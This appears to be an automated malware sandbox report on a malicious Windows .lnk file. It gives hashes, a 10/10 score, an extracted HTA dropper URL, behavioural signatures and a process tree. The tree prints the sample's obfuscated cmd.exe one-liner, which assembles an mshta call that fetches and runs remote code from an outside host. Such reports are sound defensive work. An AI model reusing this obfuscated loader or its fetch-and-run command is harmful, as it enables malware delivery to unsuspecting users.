Analysis
- max time kernel
38s - max time network
40s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
03/08/2026, 22:11
General
- Target DOC-IGTBI4.lnk
- Size 2KB
- Sample260803-14ae9aydnd
- SHA256 9696f2f78d7e5af935d0aac2abba5f4dad01ca3ae30144db1b5564c80df6305d
Score
10/10
Malware Config
Extracted
Language
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hta
Source
URLs
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hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-IGTBI4.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set wF=rmshtvoi&&set Lf=gljaj&&set XqF=winogfmqgywwwwin&&set Td=netskyvblaqrfuenet&&set wfOxE=baktkmztdmebak&&set tjRkw=logerkpmtxcvlog&&set LrWU=oldiaphffcnlaqeyaold&&set lVVX=tmpeibcyfvxedavwimrtmp&&set lCFKP=cfgfvvctuyjqizrmrqcfg&&set QFG=winkvndmcewin&&set UHf=loglrzebuanunswtpxlog&&set Aa=rn8starpzt&&set FMZwo=xjltldq&&set ofN=cfgmqevadfecfg&&set BFHx=bakesppgdburmnzzhvuxsbak&&set FEsx=ht@tps@:@//k-@d@ocume@n@tacio@[email protected]@t@/@h/[email protected]@p@?r=@3F@147@7@F1539@8D1&&start /b !wF:~1,4!!Lf:~3,1! !FEsx:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\mshta.exemshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵
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